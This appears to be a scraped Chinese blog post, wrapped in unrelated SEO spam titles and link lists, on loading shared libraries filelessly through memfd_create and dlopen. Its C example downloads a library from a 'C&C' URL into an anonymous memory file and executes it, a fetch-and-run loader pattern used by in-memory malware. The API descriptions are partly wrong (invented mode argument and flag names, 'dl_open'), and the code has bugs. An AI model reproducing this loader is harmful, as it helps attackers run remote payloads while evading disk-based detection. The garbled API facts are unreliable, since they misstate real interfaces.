当前位置: 首页 > news >正文

南宁网络营销网站视频软件app

南宁网络营销网站,视频软件app,什么网站做设计可以赚钱吗,微信小程序开发案例教程使用memfd的系统调用接口将动态库加载到proc虚拟文件系统,提供的fd为进程持有的句柄,通过dlopen的path指向此句柄,即可实现非文件系统加载动态链接库。 文章目录 一、memfd_create二、dl_open三、示例参考 一、memfd_create 接口名称int mem…

使用memfd的系统调用接口将动态库加载到proc虚拟文件系统,提供的fd为进程持有的句柄,通过dlopen的path指向此句柄,即可实现非文件系统加载动态链接库。

文章目录

  • 一、memfd_create
  • 二、dl_open
  • 三、示例参考

在这里插入图片描述
在这里插入图片描述


一、memfd_create

接口名称int memfd_create(const char *name, unsigned int flags, unsigned int mode)
场景描述memfd_create() 函数用于创建一个内存文件描述符,该文件描述符指向一个内存区域。
输入参数name :内存区域的名称。如果为空字符串,则内存区域将没有名称。flags :内存区域的标志。 MEMFD_CLOEXEC :在文件描述符关闭时,该内存区域也会被自动释放。MEMFD_ALLOW_SEALING :允许将内存区域密封。mode :内存区域的权限。
输出参数函数返回一个文件描述符,该文件描述符指向内存区域。如果创建内存区域失败,则返回 -1 ,并设置 errno 为错误码。
备注如果 flags 参数设置为 MEMFD_CLOEXEC ,则在文件描述符关闭时,该内存区域也会被自动释放。

二、dl_open

|dl_open() 函数用于打开一个动态链接库。它返回一个指向动态链接库句柄的指针,该句柄可以用于访问动态链接库中的符号。

接口名称void *dl_open(const char *filename, int mode)
场景描述dl_open() 函数用于打开一个动态链接库。它返回一个指向动态链接库句柄的指针,该柄可以用于访问动态链接库中的符号。
输入参数filename :动态链接库的文件名。mode :动态链接库的打开模式。RTLD_LAZY :延迟解析动态链接库中的符号。 RTLD_NOW :立即解析动态链接库中的符号。 RTLD_GLOBAL :将动态链接库中的符号导出到全局符号表中。RTLD_LOCAL :将动态链接库中的符号导出到局部符号中。
输出参数函数返回一个指向动态链接库句柄的指针,该句柄可以用于访问动态链接库中的符号。如果打开动态链接库失败,则返回 NULL 。
备注

三、示例参考

#define _GNU_SOURCE#include <curl/curl.h>
#include <dlfcn.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/utsname.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/stat.h>        /* For mode constants */
#include <fcntl.h>           /* For O_* constants */
#include <errno.h>#define SHM_NAME "IceIceBaby"// Wrapper to call memfd_create syscall
inline int memfd_create(const char *name, unsigned int flags) {return syscall(__NR_memfd_create, name, flags);
}// Returns a file descriptor where we can write our shared object
int open_ramfs(void) {int shm_fd;shm_fd = memfd_create(SHM_NAME, 1);if (shm_fd < 0) { //Something went wrong :(fprintf(stderr, "[- Could not open file descriptor\n");exit(-1);}return shm_fd;
}// Callback to write the shared object
size_t write_data (void *ptr, size_t size, size_t nmemb, int shm_fd) {if (write(shm_fd, ptr, nmemb) < 0) {fprintf(stderr, "[-] Could not write file :'(\n");close(shm_fd);exit(-1);}printf("[+] File written!\n");
}// Download our share object from a C&C via HTTPs
int download_to_RAM(char *download) {CURL *curl;CURLcode res;int shm_fd;shm_fd = open_ramfs(); // Give me a file descriptor to memoryprintf("[+] File Descriptor Shared Memory created, used by memfd_create\n");curl = curl_easy_init();if (curl) {curl_easy_setopt(curl, CURLOPT_URL, download);curl_easy_setopt(curl, CURLOPT_WRITEDATA, shm_fd); //Args for our callbackcurl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data); //Callback// Do the HTTPs request!res = curl_easy_perform(curl);curl_easy_cleanup(curl);return shm_fd;}
}// Load the shared object
void load_so(int shm_fd) {char path[1024];void *handle;printf("[+] Trying to load Shared Object!\n");snprintf(path, 1024, "/proc/%d/fd/%d", getpid(), shm_fd);handle = dlopen(path, RTLD_LAZY);if (!handle) {fprintf(stderr,"[-] Dlopen failed with error: %s - %s\n", dlerror(), strerror(errno));}
}int main (int argc, char **argv) {char *url = "http://127.0.0.1:8000/module1.so";int fd;printf("[+] Trying to reach C&C & start download...\n");fd = download_to_RAM(url);load_so(fd);exit(0);
}

在这里插入图片描述

http://www.yayakq.cn/news/412729/

相关文章:

  • 域名租赁网站天津seo招聘
  • 建站优化是什么怎么让WORDPRESS首页显示菜单
  • 信息公开和网站建设工作总结周口网站建设73data
  • 做资源下载网站用什么工具广东哪家网站建设
  • 政务网站建设与管理整黄金网站下载免费
  • 用visual做网站网络运营的工作内容
  • 华大 建设网站网页设计与制作的论文
  • 网站建设 图标网络推广网
  • 专门做网站的软件是linode上传安装wordpress
  • 成都建设网站哪些公司好沧州网站建设价格
  • 网址大全123网络优化推广公司
  • 荣成做网站英文网页
  • sdcms网站源码网站建设设计师招募
  • 美工模板网站织梦网站去除技术支持
  • 国贸做网站公司公司做网站要有服务器
  • 建设一个网站所需要注意的网页版微信二维码已失效
  • 深圳建站公司哪个济南兴田德润简介商城小程序开源
  • 怎么做音乐mp3下载网站南昌寻南昌网站设计
  • wordpress适合任务网站吗wordpress 改相对路径
  • 企业网站主页模板怎么自己做app
  • 保定网站推广哪家好黑马程序员线上课程
  • wordpress设置多站点网站建设 诺德中心
  • html5开发app做seo要先做网站么
  • 2017做那个网站能致富网站seo流程
  • 手机模板的网站哪个好内丘企业做网站
  • 网站建设优選宙斯站长智能建造技术专业学什么
  • php网站开发技术环境要求html播放视频
  • php源码网站修改做网站代理网站怎么谈
  • 拨号服务器做网站nat123帝国建设网站
  • 网站改版的前端流程wordpress固定连接加密